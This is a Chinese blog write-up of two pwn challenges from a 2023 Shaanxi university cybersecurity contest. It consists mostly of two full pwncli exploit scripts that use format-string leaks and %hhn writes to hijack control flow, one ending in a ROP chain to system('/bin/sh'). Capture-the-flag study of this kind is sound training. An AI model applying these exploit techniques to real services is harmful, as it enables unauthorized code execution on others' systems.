2023年第三届陕西省大学生网络安全技能大赛-pwn-may be all
2023年第三届陕西省大学生网络安全技能大赛-pwn-may be all?
前言
校队丢了两道题给我,看了看都是简单题,简单做了做。不知道具体叫什么名,就用pwn1、pwn2代替了。
pwn1
简单的格式化字符串泄露,除了远程docker的变量偏移不一样之外,没什么好说的。(出题人的docker可能有问题
#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2023-06-03 13:55:30
Usage:
Debug : python3 exp.py debug elf-file-path -t -b malloc
Remote: python3 exp.py remote elf-file-path ip:port
'''
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
sla('choice :','2')
sla('Terra_Cotta_Warriors\n','%19$p')
leak_elf = int(rl()[:-1],16)
leak_ex2(leak_elf)
eb = leak_elf - elf.sym.main
leak_ex2(eb)
sla('choice :','1')
sl(flat(
{
40:eb + 0x129a
}
))
ia()
pwn2
简单的格式化字符串。改rbp链,然后考虑i变量与libc start main的返回地址在同一页的时候不断更改变量i的值以及在libc start main上写rop链。最后还原rbp即可。(现在仔细想想其实利用bss和修改rbp可以直接栈迁移到bss段上,这样好像会方便一点?
#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2023-06-03 14:06:17
Usage:
Debug : python3 exp.py debug elf-file-path -t -b malloc
Remote: python3 exp.py remote elf-file-path ip:port
'''
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
def attack_8_bits(val,attack_addr,i_addr):
for i in range(6):
pd = flat(
{
0:'%'+str(attack_addr+i&0xff)+'c'+'%8$hhn',
0x40:''
},filler = '\x00'
)
sa('say?\n',pd)
pd = flat(
{
0:'%'+str(val&0xff)+'c'+'%10$hhn',
0x40:''
},filler = '\x00'
)
sa('say?\n',pd)
sleep(0.05)
pd = flat(
{
0:'%'+str(i_addr&0xff)+'c'+'%8$hhn',
0x40:''
},filler = '\x00'
)
sa('say?\n',pd)
pd = flat(
{
0:'%10$n',
0x40:''
},filler = '\x00'
)
sa('say?\n',pd)
val = val >> 8
pd = flat(
{
0x0:'TokameinE_is_the_best_pwner\x00\x00'
},filler = '\x00'
)
sa('is?\n',pd)
pd = flat(
{
0:'%29$p-%8$p-',
}
)
sa('say?\n',pd)
sleep(0.05)
leak_libc = int(ru('-')[:-1],16)
leak_ex2(leak_libc)
lb = leak_libc - 0x20840
libc.address = lb
leak_ex2(lb)
leak_stack = int(ru('-')[:-1],16)
leak_ex2(leak_stack)
attack_stack = leak_stack + 0x98
ori_ebp = leak_stack + 0x90
i_addr = leak_stack - 0x14
pop_rdi = CurrentGadgets.pop_rdi_ret()
attack_8_bits(pop_rdi,attack_stack,i_addr)
attack_8_bits(CurrentGadgets.bin_sh(),attack_stack+8,i_addr)
attack_8_bits(libc.sym.system,attack_stack+0x10,i_addr)
pd = flat(
{
0:'%'+str(ori_ebp&0xff)+'c'+'%8$hhn',
0x40:''
},filler = '\x00'
)
sa('say?\n',pd)
for i in range(12):
sa('say?\n',p64(0xdeadbeef))
ia()